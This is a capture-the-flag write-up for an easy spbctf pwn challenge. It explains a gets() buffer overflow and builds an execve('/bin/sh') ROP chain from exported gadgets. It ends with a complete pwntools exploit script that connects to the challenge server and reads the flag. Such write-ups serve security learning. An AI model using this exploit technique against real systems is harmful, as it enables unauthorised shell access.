constructor — miniROP with named gadgets
constructor — miniROP with named gadgets
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: execve_syscall_rop, mini_rop_chain, pointer_vs_string_confusion
Summary
Task: classic gets() buffer overflow (RIP offset 16) with a toolbox of exported miniROP gadgets (pop rdx, xchg rdx/rdi, xchg rdx/rsi, mov rax 0x3b, syscall) for building execve. Solution: chain the gadgets to set rdi=/bin/sh, rsi=rdx=0, rax=59 and syscall; the key gotcha is that symbol 'binsh' holds a pointer to the string (0x402004), not the string itself.
constructor — SPB CTF Pwn Season
Description
miniROP, 10 pts
nc 109.233.56.90 11634Binary:constructor.elf(x86-64, No PIE, NX, No Canary, Partial RELRO)
English summary: a trivial gets() overflow plus a toolbox of exported "LEGO" gadgets that let us build execve("/bin/sh", NULL, NULL) as a tiny ROP chain.
Analysis
main reads user input with gets() into a small stack buffer. BOF offset to the saved return address is 16 bytes.
The binary exports named gadgets directly inside .text:
| Symbol | Address | Effect |
|---|---|---|
g_syscall | 0x401142 | syscall; ret |
g_xchg_rdx_rdi | 0x401148 | xchg rdx, rdi; ret |
g_xchg_rdx_rsi | 0x40114f | xchg rdx, rsi; ret |
g_pop_rdx | 0x401156 | pop rdx; ret |
g_rax_0x3b | 0x40115b | mov rax, 0x3b; ret (execve) |
g_rax_0x3c | 0x401166 | mov rax, 0x3c; ret (exit) |
binsh | 0x404040 | pointer to /bin/sh |
Crucial gotcha: binsh is not the string. It is a qword at 0x404040 whose value is 0x402004, and the actual /bin/sh characters live at 0x402004 in .rodata. If you put elf.symbols['binsh'] into the chain, execve dereferences 0x404040 as a filename pointer and segfaults. You must put 0x402004 directly.
Also, .init_array installs alarm(5), so the whole chain + post-shell flag read has to happen inside five seconds.
Solution
We want to invoke execve("/bin/sh", NULL, NULL) via raw syscall (no system, so no stack alignment issue). The chain only needs rdi = /bin/sh, rsi = 0, rdx = 0, rax = 59, then syscall.
Because the only register-load primitive is pop rdx, we use xchg rdx, <reg> to shuttle values into rdi and rsi:
pop rdx; ret -> rdx = 0x402004 ("/bin/sh")
xchg rdx, rdi; ret -> rdi = "/bin/sh" (rdx now = old rdi, irrelevant)
pop rdx; ret -> rdx = 0
xchg rdx, rsi; ret -> rsi = 0
pop rdx; ret -> rdx = 0
mov rax, 0x3b; ret -> rax = 59 (SYS_execve)
syscall -> shell
Raw syscall requires no movaps-style stack alignment, unlike calling glibc's system, so no extra ret gadget is needed.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' elf = ELF('./constructor.elf') g_syscall = elf.symbols['g_syscall'] g_xchg_rdx_rdi = elf.symbols['g_xchg_rdx_rdi'] g_xchg_rdx_rsi = elf.symbols['g_xchg_rdx_rsi'] g_pop_rdx = elf.symbols['g_pop_rdx'] g_rax_0x3b = elf.symbols['g_rax_0x3b'] binsh_str = 0x402004 # real string, NOT elf.symbols['binsh'] offset = 16 chain = flat( g_pop_rdx, binsh_str, g_xchg_rdx_rdi, g_pop_rdx, 0, g_xchg_rdx_rsi, g_pop_rdx, 0, g_rax_0x3b, g_syscall, ) payload = b'A' * offset + chain p = remote('109.233.56.90', 11634) p.sendline(payload) p.sendline(b'cat /flag* 2>/dev/null; id') p.sendline(b'exit') print(p.recvall(timeout=5).decode(errors='replace'))
The remote end drops into sh, cat /flag prints the flag before alarm(5) fires.